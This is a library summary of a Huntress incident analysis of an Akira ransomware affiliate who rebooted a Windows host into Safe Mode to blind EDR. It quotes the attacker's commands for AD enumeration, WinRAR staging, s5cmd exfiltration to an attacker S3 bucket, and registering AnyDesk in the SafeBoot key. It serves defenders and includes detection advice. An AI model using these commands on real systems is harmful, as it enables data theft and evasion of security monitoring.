# Akira Hits Safe Mode: Ransomware Rebooting Around EDR

Akira affiliate rebooted a compromised host into Safe Mode with Networking via msconfig, disabling Huntress EDR and Defender RTP while keeping network access for exfil and detonation.

- Payout: Real-world hack
- Severity: high
- Program: Akira
- Analysis by: Huntress
- Disclosed: 2026-08-12
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/akira-hits-safe-mode-ransomware-rebooting-around-edr
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-akira-hits-safe-mode-ransomware-rebooting-around-edr
- Tags: area:cloud domain:infra impact:data-leak impact:integrity kind:incident platform:threat-intel sev:high tech:aws tech:s3 tech:windows technique:source-review vuln:misconfiguration vuln:privilege-escalation

**Target:** Windows endpoint on victim network (SonicWall SSL VPN entry, domain controller)
**Root cause:** Safe Mode with Networking loads only core Windows drivers/services, so third-party EDR agents and Defender real-time protection do not start, while network connectivity is preserved. Attacker added AnyDesk to the SafeBoot\Network registry key so their own RAT survived the reboot.
**Steps:**
1. Credential spray against SonicWall SSL VPN (no MFA); valid account logs in at 03:52:42 UTC from 72.23.77[.]35.
2. RDP to domain controller, spawn elevated cmd.exe, run `Get-ADUser -Filter * -Properties * | Select-Object ... > C:\ProgramData\AdUsers.txt` and `Get-ADComputer -Filter * -Property * | Select-Object ... > C:\ProgramData\AdComp.txt` dumps to C:\ProgramData\AdUsers.txt and AdComp.txt.
3. Install WinRAR mid-intrusion and archive shares: `WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . "<share_1>" <share_2> <share_3> <share_4>`.
4. Exfiltrate staged archives to attacker S3 bucket: `s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/`.
5. Install AnyDesk as a service for hands-on control and payload delivery; push akira.exe via inbound file transfer.
6. Add AnyDesk to Safe Mode allowlist: `"C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service`.
7. Run msconfig.exe and force reboot at 06:29:21 UTC; host boots with `SAFEBOOT:NETWORK` (Kernel-Boot EID 27, Kernel-General EID 12 BootMode=2).
8. Execute akira.exe at 06:34:29 UTC; payload starves virtual memory (EID 26 Virtual Memory Minimum Too Low, then Out of Virtual Memory) and fails to encrypt cleanly.
9. Reboot host to normal mode at 08:10:38 UTC; Defender RTP restores and quarantines akira.exe at 08:12:28 UTC (after a scheduled scan detected it at 07:43:50 UTC).
**How found:** Huntress incident responders correlated SonicWall VPN logs (credential spray then successful login), Windows event logs (Kernel-Boot EID 27 SAFEBOOT:NETWORK, Kernel-General EID 12 BootMode=2, Defender EID 3002 'service cannot be started in Safe Mode'), and process trees (msconfig, reg.exe SafeBoot add, akira.exe) to reconstruct the anti-EDR reboot.
**Exploitation:** Attacker used a valid VPN credential (no MFA) to enter, RDP'd to the DC, dumped AD, archived and exfiltrated shares to S3, then installed AnyDesk as a persistent C2/delivery channel. Before detonation they added AnyDesk to the SafeBoot\Network registry key, ran msconfig to force a Safe Mode with Networking reboot, which disabled Huntress EDR and Defender RTP while keeping network access. akira.exe was then launched from the AnyDesk session. The Safe Mode environment's constrained virtual memory caused the encryptor to fail with out-of-memory errors, and Defender eventually quarantined it only after the attacker rebooted back to normal mode.
**Escalation:** Safe Mode reboot removed EDR/AV coverage across the whole host while preserving network access, giving the attacker a blind window to stage and launch the encryptor; AnyDesk was pre-registered in SafeBoot to survive the reboot.
**Insight:** Watch for `reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<tool>` and msconfig/bcdedit boot-config changes as a pre-reboot tell: attackers must pre-register their RAT in the SafeBoot key to keep C2 alive, which is a high-fidelity signal that a Safe Mode anti-EDR reboot is imminent.

## Proof of concept (copied exactly from the original report)

**SafeBoot registry addition for AnyDesk**

```
"C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service
```

**AD enumeration PowerShell dump commands**

```
$formatenumerationlimit = -1
Get-ADUser -Filter * -Properties * | Select-Object Enabled, CanonicalName, CN, Name, SamAccountName, MemberOf, Company, Title, Description, Created, Modified, PasswordLastSet, LastLogonDate, logonCount, Department, telephoneNumber, MobilePhone, OfficePhone, EmailAddress, mail, HomeDirectory, homeMDB > C:\ProgramData\AdUsers.txt
Get-ADComputer -Filter * -Property * | Select-Object Enabled, Name, DNSHostName, IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, LastLogonDate, whenChanged, whenCreated > C:\ProgramData\AdComp.txt
```

**WinRAR archive and s5cmd S3 exfil**

```
WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . "<share_1>" <share_2> <share_3> <share_4>
Those flags—a -ep1 -scul -r0 -iext -imon1—are the same WinRAR invocation Huntress documented in the SonicWall campaign, again showing consistent tradecraft across affiliates.
The staged data then went to cloud storage using s5cmd, a fast S3 transfer utility:
s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/
```